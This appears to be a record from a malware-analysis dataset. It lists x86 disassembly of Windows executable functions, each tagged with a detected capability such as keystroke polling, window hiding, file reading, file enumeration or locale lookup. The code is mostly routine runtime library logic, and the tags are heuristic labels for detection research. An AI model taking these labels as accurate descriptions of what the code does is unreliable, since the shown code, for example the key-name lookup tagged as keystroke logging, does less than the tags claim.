joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4bf267
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x530400]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x10]
push ebx
mov ebx, ecx
mov ecx, dword [ebp + 0x14]
push esi
mov esi, dword [ebp + 0x1c]
push edi
and dword [ebx + 0x770], 0
mov edi, dword [ebp + 0x18]
mov dword [ebx + 0x24], eax
mov eax, dword [ebp + 0xc]
mov dword [ebx + 0x28], ecx
mov ecx, dword [ebp + 8]
mov dword [ebx + 0x2c], eax
mov eax, dword [ebp + 0x20]
mov dword [ebp - 0x18], ebx
mov dword [ebx + 0x76c], ecx
mov dword [ebx + 0x774], eax
test ecx, ecx
jne 0x4bf2d2
call fcn.004bf01c
push edi
mov ecx, eax
mov edx, dword [eax]
call dword [edx + 0xc]
test esi, esi
je 0x4bf2d2
call fcn.004bf01c
push esi
mov ecx, eax
mov edx, dword [eax]
call dword [edx + 0x14]
call fcn.004bf01c
mov edx, ebx
lea ecx, [ebx + 0x10]
neg edx
mov esi, dword [eax]
sbb edx, edx
and edx, ecx
mov ecx, eax
push edx
call dword [esi]
mov ecx, dword [ebx + 0x76c]
test ecx, ecx
je 0x4bf2fa
mov eax, dword [ecx]
call dword [eax + 0x1c]
mov edi, eax
mov ecx, edi
call fcn.00478fbb
lea ecx, [ebp - 0x14]
mov ebx, eax
call fcn.0047604b
push 0
sub esp, 0x10
mov esi, eax
mov edi, esp
push 0x88
movsd dword es:[edi], dword [esi]
push connect
push 0
push ebx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov esi, dword [ebp - 0x18]
mov ecx, esi
call fcn.0047e2ef
mov edi, dword [esi + 4]
mov ebx, dword [sym.imp.USER32.dll_GetParent]
jmp 0x4bf33f
push edi
call ebx
mov edi, eax
push edi
call ebx
test eax, eax
jne 0x4bf33a
push 5
push dword [esi + 4]
call dword [sym.imp.USER32.dll_ShowWindow]
push 0
push 1
push 0x86
push edi
call dword [sym.imp.USER32.dll_SendMessageW]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004c6ee6
leave
ret 0x1c

Function at 0x4c4e9d
Capabilities:
Get keyboard layout
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
mov eax, dword [0x530400]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
xor esi, esi
mov dword [ebp - 0x210], ebx
push esi
call dword [sym.imp.USER32.dll_GetKeyboardLayout]
push eax
push esi
mov esi, dword [ebp + 0xc]
push esi
call dword [sym.imp.USER32.dll_MapVirtualKeyExW]
mov edi, eax
cmp esi, 0x26
ja 0x4c4f48
je 0x4c4ef3
sub esi, 0x21
je 0x4c4ef3
sub esi, 1
je 0x4c4ef3
sub esi, 1
je 0x4c4ef3
sub esi, 1
je 0x4c4ef3
sub esi, 1
jne 0x4c4ef9
or edi, 0x100
push 0x208
lea eax, [ebp - 0x20c]
push 0
push eax
call fcn.004c9920
add esp, 0xc
shl edi, 0x10
lea eax, [ebp - 0x20c]
push 0x104
push eax
push edi
call dword [sym.imp.USER32.dll_GetKeyNameTextW]
push 0xffffffffffffffff
lea eax, [ebp - 0x20c]
mov ecx, ebx
push eax
call fcn.00476094
mov ecx, dword [ebp - 4]
mov eax, ebx
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004c6ee6
leave
ret 0xc
sub esi, 0x27
je 0x4c4ef3
sub esi, 1
je 0x4c4ef3
sub esi, 5
jmp 0x4c4eec
Function at 0x4c77a6
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x4c77e5
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4c77e5
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4c77e5
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x4c77e5
cmp dword [ecx + 0x74], 0xe
jbe 0x4c77e5
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x4d32b0
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x101c
call fcn.004c6c70
mov eax, dword [0x530400]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x100c], eax
call fcn.004e37b7
pop ecx
mov ecx, dword [ebp + 8]
mov ebx, eax
cmp dword [ecx + 8], 0
jne 0x4d32f2
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
jmp 0x4d344e
mov eax, dword [ecx]
sub eax, dword [ecx + 4]
push esi
push edi
push 0
cdq
push 2
push edx
push eax
call fcn.004c6900
push dword [ebp - 0x100c]
mov ecx, ebx
mov dword [ebp - 0x1008], eax
mov esi, ebx
mov dword [ebp - 0x1018], edx
and ecx, 0x3f
sar esi, 6
imul edi, ecx, 0x38
push 0
mov eax, dword [esi*4 + 0x533a58]
push dword [eax + edi + 0x24]
push dword [eax + edi + 0x20]
push ebx
call fcn.004ddfdb
mov ecx, dword [esi*4 + 0x533a58]
add esp, 0x14
mov dword [ebp - 0x1010], eax
mov eax, edx
mov edx, dword [ebp - 0x1010]
mov dword [ebp - 0x101c], eax
cmp edx, dword [ecx + edi + 0x20]
jne 0x4d3447
cmp eax, dword [ecx + edi + 0x24]
jne 0x4d3447
push 0
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [ecx + edi + 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x4d3447
push dword [ebp - 0x100c]
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.004ddfdb
add esp, 0x14
test edx, edx
jl 0x4d3447
jg 0x4d33bd
test eax, eax
jb 0x4d3447
mov ebx, dword [ebp - 0x1018]
mov eax, dword [ebp - 0x1014]
test ebx, ebx
jg 0x4d3447
jl 0x4d33d7
cmp dword [ebp - 0x1008], eax
ja 0x4d3447
lea edi, [ebp - 0x1004]
xor edx, edx
add edi, eax
lea ecx, [ebp - 0x1004]
xor esi, esi
cmp dword [ebp - 0x1008], edx
jne 0x4d33f5
test ebx, ebx
je 0x4d342e
cmp ecx, edi
jae 0x4d342e
mov al, byte [ecx]
cmp al, 0xd
jne 0x4d340f
lea eax, [edi - 1]
cmp ecx, eax
jae 0x4d341b
cmp byte [ecx + 1], 0xa
jne 0x4d341b
inc ecx
jmp 0x4d341b
movzx eax, al
movsx eax, byte [eax + 0x5305b8]
add ecx, eax
add esi, 1
adc edx, 0
inc ecx
cmp esi, dword [ebp - 0x1008]
jne 0x4d33f5
cmp edx, ebx
jne 0x4d33f5
lea eax, [ebp - 0x1004]
sub ecx, eax
mov eax, ecx
cdq
add eax, dword [ebp - 0x1010]
adc edx, dword [ebp - 0x101c]
jmp 0x4d344c
or edx, 0xffffffff
mov eax, edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.004c6ee6
leave
ret
Function at 0x4dd43c
Capabilities:
Get disk information

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, dword [0x530400]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 8]
push 0x51a5a8
push esi
call fcn.004dba02
pop ecx
pop ecx
test eax, eax
jne 0x4dd46a
xor al, al
jmp 0x4dd4e7
push ebx
lea eax, [ebp - 0x210]
xor ebx, ebx
push eax
push 0x104
lea eax, [ebp - 0x20c]
mov dword [ebp - 0x210], ebx
push esi
push eax
call fcn.004dd171
mov edx, eax
add esp, 0x10
test edx, edx
jne 0x4dd4a4
push dword [ebp - 0x210]
call fcn.004cdd14
xor al, al
jmp 0x4dd4e5
mov ecx, edx
push edi
lea edi, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
cmp ax, bx
jne 0x4dd4aa
sub ecx, edi
sar ecx, 1
pop edi
cmp ecx, 3
je 0x4dd4ca
push edx
call fcn.004dd373
pop ecx
test al, al
je 0x4dd495
push esi
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 1
jbe 0x4dd4d8
mov bl, 1
push dword [ebp - 0x210]
call fcn.004cdd14
mov al, bl
pop ecx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.004c6ee6
leave
ret
Function at 0x4e1c81
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x533a58]
mov dword [ebp - 0xc], ecx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x4e1cc1
cmp byte [ebx], 0xa
jne 0x4e1cc1
or byte [edi + eax + 0x28], 4
jmp 0x4e1cc6
and byte [edi + eax + 0x28], 0xfb
add ecx, ebx
mov eax, ebx
mov dword [ebp - 0x10], ecx
mov esi, ebx
mov dword [ebp - 8], eax
cmp ebx, ecx
jae 0x4e1dc5
mov dl, byte [eax]
cmp dl, 0x1a
je 0x4e1da8
inc eax
cmp dl, 0xd
je 0x4e1cf2
mov dword [ebp - 8], eax
mov byte [esi], dl
jmp 0x4e1d18
cmp eax, ecx
jae 0x4e1d26
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add dword [ebp - 8], eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x10]
xor edx, edx
inc edx
add esi, edx
cmp eax, ecx
jb 0x4e1cda
jmp 0x4e1dc5
push 0
lea eax, [ebp - 0x10]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x4e1da3
cmp dword [ebp - 0x10], 0
je 0x4e1da3
mov ecx, dword [ebp - 0xc]
mov eax, dword [ecx*4 + 0x533a58]
test byte [eax + edi + 0x28], 0x48
je 0x4e1d7d
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x4e1d68
mov byte [esi], dl
jmp 0x4e1d79
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x533a58]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x4e1dc5
cmp byte [ebp - 1], 0xa
jne 0x4e1d8c
cmp esi, ebx
jne 0x4e1d8c
mov byte [esi], 0xa
jmp 0x4e1dc4
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.004ddff9
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x4e1dc5
mov byte [esi], 0xd
jmp 0x4e1dc4
mov ecx, dword [ebp - 0xc]
mov ecx, dword [ecx*4 + 0x533a58]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x4e1dc2
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x4e1dc5
mov byte [esi], dl
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x4e1dce
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
push esi
sar ecx, 6
push edi
imul edi, eax, 0x38
mov dword [ebp - 8], ecx
mov eax, dword [ecx*4 + 0x533a58]
push 0xa
pop edx
mov dword [ebp - 0x18], edx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x1c], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x4e1e14
cmp word [ebx], dx
jne 0x4e1e14
or byte [eax + edi + 0x28], 4
jmp 0x4e1e19
and byte [eax + edi + 0x28], 0xfb
lea edx, [ebx + ecx*2]
mov eax, ebx
mov dword [ebp - 0xc], edx
mov esi, ebx
mov dword [ebp - 4], eax
cmp ebx, edx
jae 0x4e1f7c
mov dword [ebp - 0x10], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x14], edx
mov edx, dword [ebp - 0xc]
cmp ecx, 0x1a
je 0x4e1f5c
add eax, 2
cmp cx, word [ebp - 0x10]
je 0x4e1e5a
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x4e1e90
cmp eax, edx
jae 0x4e1e9e
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x18]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 0xc]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
push 2
pop ecx
add esi, ecx
cmp eax, edx
jb 0x4e1e35
jmp 0x4e1f7c
push 0
lea eax, [ebp - 0x18]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x4e1f57
cmp dword [ebp - 0x18], 0
je 0x4e1f57
mov edx, dword [ebp - 8]
push 0xa
mov eax, dword [edx*4 + 0x533a58]
test byte [eax + edi + 0x28], 0x48
je 0x4e1f2d
lea eax, [esi + 2]
mov dword [ebp - 0x1c], eax
mov ax, word [ebp - 4]
pop ecx
mov word [ebp - 2], ax
cmp ax, cx
jne 0x4e1ef1
mov word [esi], cx
jmp 0x4e1f28
push 0xd
pop ecx
mov word [esi], cx
movzx ecx, ax
mov eax, dword [edx*4 + 0x533a58]
mov dx, word [ebp - 2]
shr ecx, 8
push 0xa
mov byte [eax + edi + 0x2a], dl
mov edx, dword [ebp - 8]
mov eax, dword [edx*4 + 0x533a58]
mov byte [eax + edi + 0x2b], cl
mov eax, dword [edx*4 + 0x533a58]
pop ecx
mov byte [eax + edi + 0x2c], cl
mov esi, dword [ebp - 0x1c]
jmp 0x4e1f7c
pop eax
cmp word [ebp - 4], ax
jne 0x4e1f3d
cmp esi, ebx
jne 0x4e1f3d
mov word [esi], ax
jmp 0x4e1f79
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.004ddff9
add esp, 0x10
push 0xa
pop eax
cmp word [ebp - 4], ax
je 0x4e1f7c
push 0xd
pop eax
jmp 0x4e1f38
mov edx, dword [ebp - 8]
mov edx, dword [edx*4 + 0x533a58]
mov al, byte [edx + edi + 0x28]
test al, 0x40
jne 0x4e1f76
or al, 2
mov byte [edx + edi + 0x28], al
jmp 0x4e1f7c
mov word [esi], cx
add esi, 2
sub esi, ebx
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x4e7b8b
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x51c19c
push 0x51c194
push str.FlsAlloc
push 0x1f
call fcn.004e79b6
mov esi, eax
add esp, 0x10
test esi, esi
je 0x4e7bbf
push dword [ebp + 8]
mov ecx, esi
call dword [0x4f97fc]
call esi
jmp 0x4e7bc5
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x4e7c09
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x51c1ac
push 0x51c1a4
push str.FlsGetValue
push 0x21
call fcn.004e79b6
mov esi, eax
add esp, 0x10
test esi, esi
je 0x4e7c40
push dword [ebp + 8]
mov ecx, esi
call dword [0x4f97fc]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x4e7c48
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x51c1b4
push 0x51c1ac
push str.FlsSetValue
push 0x22
call fcn.004e79b6
mov esi, eax
add esp, 0x10
test esi, esi
je 0x4e7c82
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x4f97fc]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x4e93af
Capabilities:
Clear file content

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
mov ebx, dword [ebp + 8]
lea ecx, [ebp - 0x2c]
push esi
push edi
push dword [ebp + 0x10]
mov edi, dword [ebp + 0x14]
push dword [ebp + 0xc]
push ebx
call fcn.004e932b
mov eax, dword [ebp - 0x2c]
and eax, dword [ebp - 0x28]
cmp eax, 0xffffffff
je 0x4e951e
mov eax, dword [ebp - 0x24]
and eax, dword [ebp - 0x20]
cmp eax, 0xffffffff
je 0x4e951e
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 8], ecx
mov dword [ebp - 4], eax
test ecx, ecx
jl 0x4e94d3
jg 0x4e940b
test eax, eax
je 0x4e94c9
push 1
push 0x1000
call fcn.004e76b4
mov esi, eax
pop ecx
pop ecx
test esi, esi
jne 0x4e942e
push 0xc
pop ebx
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], ebx
jmp 0x4e94c0
push 0x8000
push ebx
call fcn.004e0327
pop ecx
pop ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x18]
test eax, eax
jl 0x4e9457
jg 0x4e9452
cmp ecx, 0x1000
jb 0x4e9457
mov ecx, 0x1000
push edi
push ecx
push esi
push ebx
call fcn.004e2eeb
add esp, 0x10
cmp eax, 0xffffffff
je 0x4e949c
mov ecx, dword [ebp - 4]
cdq
sub ecx, eax
mov eax, dword [ebp - 8]
mov dword [ebp - 4], ecx
sbb eax, edx
mov dword [ebp - 8], eax
test eax, eax
jg 0x4e9452
jl 0x4e9483
test ecx, ecx
jne 0x4e9444
push dword [ebp - 0xc]
push ebx
call fcn.004e0327
push esi
call fcn.004e5c96
add esp, 0xc
xor ebx, ebx
jmp 0x4e952c
cmp byte [edi + 0x24], 0
je 0x4e94b3
cmp dword [edi + 0x20], 5
jne 0x4e94b3
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], 0xd
cmp byte [edi + 0x1c], 0
je 0x4e94be
mov ebx, dword [edi + 0x18]
jmp 0x4e94c0
xor ebx, ebx
push esi
call fcn.004e5c96
pop ecx
jmp 0x4e952c
test ecx, ecx
jg 0x4e9495
jl 0x4e94d3
test eax, eax
jae 0x4e9495
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.004ddff9
and eax, edx
add esp, 0x10
cmp eax, 0xffffffff
jne 0x4e94f3
cmp byte [edi + 0x1c], 0
je 0x4e9495
jmp 0x4e9524
push ebx
call fcn.004e92c1
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x4e9495
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0xd
mov byte [edi + 0x24], 1
mov dword [edi + 0x20], eax
pop ebx
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], ebx
jmp 0x4e952c
cmp byte [edi + 0x1c], 0
je 0x4e9529
mov ebx, dword [edi + 0x18]
jmp 0x4e952c
push 0x16
pop ebx
push 0
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
push dword [ebp - 0x14]
call fcn.004ddff9
add esp, 0x10
mov eax, ebx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4eb2db
Capabilities:
Enumerate files on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x264
mov eax, dword [0x530400]
xor eax, ebp
mov dword [ebp - 4], eax
mov edx, dword [ebp + 0xc]
mov ecx, dword [ebp + 0x10]
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 0x25c], ecx
cmp edx, edi
je 0x4eb326
movzx eax, word [edx]
lea ecx, [ebp - 0x255]
push eax
call fcn.004eb476
test al, al
jne 0x4eb320
sub edx, 2
cmp edx, edi
jne 0x4eb306
mov ecx, dword [ebp - 0x25c]
movzx esi, word [edx]
cmp esi, 0x3a
jne 0x4eb348
lea eax, [edi + 2]
cmp edx, eax
je 0x4eb348
push ecx
xor ebx, ebx
push ebx
push ebx
push edi
call fcn.004eb227
add esp, 0x10
jmp 0x4eb442
push esi
lea ecx, [ebp - 0x255]
call fcn.004eb476
sub edx, edi
movzx eax, al
sar edx, 1
inc edx
neg eax
sbb eax, eax
xor ebx, ebx
push ebx
push ebx
and eax, edx
push ebx
mov dword [ebp - 0x260], eax
lea eax, [ebp - 0x254]
push eax
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x4eb38b
push dword [ebp - 0x25c]
jmp 0x4eb338
mov ebx, dword [ebp - 0x25c]
push 0x2e
mov eax, dword [ebx + 4]
sub eax, dword [ebx]
sar eax, 2
mov dword [ebp - 0x25c], eax
pop eax
cmp word [ebp - 0x228], ax
jne 0x4eb3c8
cmp word [ebp - 0x226], 0
je 0x4eb3e9
cmp word [ebp - 0x226], ax
jne 0x4eb3c8
cmp word [ebp - 0x224], 0
je 0x4eb3e9
push ebx
push dword [ebp - 0x260]
lea eax, [ebp - 0x228]
push edi
push eax
call fcn.004eb227
add esp, 0x10
mov dword [ebp - 0x264], eax
test eax, eax
jne 0x4eb435
lea eax, [ebp - 0x254]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
push 0x2e
test eax, eax
pop eax
jne 0x4eb3a2
mov eax, dword [ebx + 4]
mov edx, dword [ebx]
sub eax, edx
mov ecx, dword [ebp - 0x25c]
sar eax, 2
cmp ecx, eax
jne 0x4eb41d
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
xor eax, eax
jmp 0x4eb442
push 0x4eb057
sub eax, ecx
push 4
push eax
lea eax, [edx + ecx*4]
push eax
call fcn.004db2d0
add esp, 0x10
jmp 0x4eb412
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, dword [ebp - 0x264]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004c6ee6
leave
ret

Function at 0x4ebd58
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
jne 0x4ebd69
pop esi
ret
push ebx
push edi
push esi
call fcn.004ebd21
mov ebx, eax
sub ebx, esi
and ebx, 0xfffffffe
push ebx
call fcn.004e5d39
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x4ebd91
push ebx
push esi
push edi
call fcn.004c93a0
add esp, 0xc
push 0
call fcn.004e5c96
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, edi
pop edi
pop ebx
pop esi
ret

Function at 0x4ec161
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.004ebda6
Function at 0x4ee3e0
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push esi
push edi
call fcn.004e5824
mov esi, dword [ebp + 8]
mov edi, eax
push 2
lea eax, [ebp - 4]
mov ecx, esi
push eax
and ecx, 0x3ff
push 0x20000001
or ecx, 0x400
push ecx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x4ee44f
cmp esi, dword [ebp - 4]
je 0x4ee44a
cmp dword [ebp + 0xc], 0
je 0x4ee44a
mov esi, dword [edi + 0x50]
lea ecx, [esi + 2]
mov ax, word [esi]
add esi, 2
test ax, ax
jne 0x4ee427
push dword [edi + 0x50]
sub esi, ecx
sar esi, 1
call fcn.004edf32
pop ecx
xor ecx, ecx
cmp eax, esi
setne cl
mov eax, ecx
jmp 0x4ee451
xor eax, eax
inc eax
jmp 0x4ee451
xor eax, eax
pop edi
pop esi
leave
ret
Function at 0x4ee4b6
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x530400]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
mov ebx, dword [ebp + 0x10]
push esi
mov esi, dword [ebp + 8]
push edi
mov dword [ebp - 0x18], eax
call fcn.004e5824
add eax, 0x50
lea edi, [ebp - 0x10]
mov dword [ebp - 0x14], eax
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call fcn.004e5824
lea ecx, [ebp - 0x10]
xor edx, edx
mov dword [eax + 0x34c], ecx
lea ecx, [esi + 0x80]
mov eax, dword [ebp - 0x14]
mov dword [eax], esi
lea edi, [eax + 4]
mov dword [edi], ecx
test ecx, ecx
je 0x4ee52d
cmp word [ecx], dx
je 0x4ee52d
mov eax, dword [0x51c7c4]
push edi
dec eax
push eax
push 0x51c6b0
call fcn.004ee455
mov eax, dword [ebp - 0x14]
add esp, 0xc
xor edx, edx
mov dword [ebp - 0x10], edx
mov eax, dword [eax]
test eax, eax
je 0x4ee5a0
cmp word [eax], dx
je 0x4ee5a0
mov eax, dword [edi]
test eax, eax
je 0x4ee551
cmp word [eax], dx
je 0x4ee551
lea eax, [ebp - 0x10]
push eax
call fcn.004ede38
jmp 0x4ee55a
lea eax, [ebp - 0x10]
push eax
call fcn.004eded3
cmp dword [ebp - 0x10], 0
pop ecx
jne 0x4ee5ca
mov eax, dword [0x51c6ac]
push dword [ebp - 0x14]
dec eax
push eax
push 0x51c3a0
call fcn.004ee455
add esp, 0xc
test al, al
je 0x4ee5ca
mov eax, dword [edi]
xor edi, edi
test eax, eax
je 0x4ee595
cmp word [eax], di
je 0x4ee595
lea eax, [ebp - 0x10]
push eax
call fcn.004ede38
pop ecx
jmp 0x4ee5cc
lea eax, [ebp - 0x10]
push eax
call fcn.004eded3
jmp 0x4ee592
mov eax, dword [edi]
test eax, eax
je 0x4ee5b7
cmp word [eax], dx
je 0x4ee5b7
lea eax, [ebp - 0x10]
push eax
call fcn.004edded
pop ecx
jmp 0x4ee5ca
mov dword [ebp - 0x10], 0x104
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], eax
xor edi, edi
cmp dword [ebp - 0x10], 0
je 0x4ee695
lea eax, [ebp - 0x10]
push eax
lea eax, [esi + 0x100]
neg esi
sbb esi, esi
and esi, eax
push esi
call fcn.004ee2da
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x4ee695
movzx ecx, si
push ecx
call dword [sym.imp.KERNEL32.dll_IsValidCodePage]
test eax, eax
je 0x4ee695
push 1
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_IsValidLocale]
test eax, eax
je 0x4ee695
mov eax, dword [ebp - 0x18]
test eax, eax
je 0x4ee622
mov dword [eax], esi
mov eax, dword [ebp - 0x14]
push edi
push 0x55
add eax, 0x250
push eax
push dword [ebp - 0xc]
call fcn.004e7e24
test ebx, ebx
je 0x4ee690
push edi
push 0x55
lea eax, [ebx + 0x120]
push eax
push dword [ebp - 0xc]
call fcn.004e7e24
push 0x40
push ebx
push 0x1001
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x4ee695
push 0x40
lea eax, [ebx + 0x80]
push eax
push 0x1002
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x4ee695
push 0xa
push 0x10
lea ecx, [ebx + 0x100]
push ecx
push esi
call fcn.004de861
add esp, 0x10
xor eax, eax
inc eax
jmp 0x4ee697
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004c6ee6
leave
ret
Function at 0x4f214b
Capabilities:
Get disk information

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x530400]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
cmp eax, 0x1a
jbe 0x4f218e
call fcn.004cdcee
mov dword [eax], 0xf
call fcn.004cdd01
mov dword [eax], 0xd
call fcn.004cd90f
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004c6ee6
leave
ret
test eax, eax
jne 0x4f2195
inc eax
jmp 0x4f2182
add eax, 0x40
push 0x3a
mov word [ebp - 0xc], ax
pop eax
mov word [ebp - 0xa], ax
push 0x5c
pop eax
mov word [ebp - 8], ax
xor eax, eax
mov word [ebp - 6], ax
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
mov ecx, eax
test ecx, ecx
je 0x4f2180
xor eax, eax
cmp ecx, 1
setne al
jmp 0x4f2182

Function at 0x4f3860
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4f388d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4f388d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
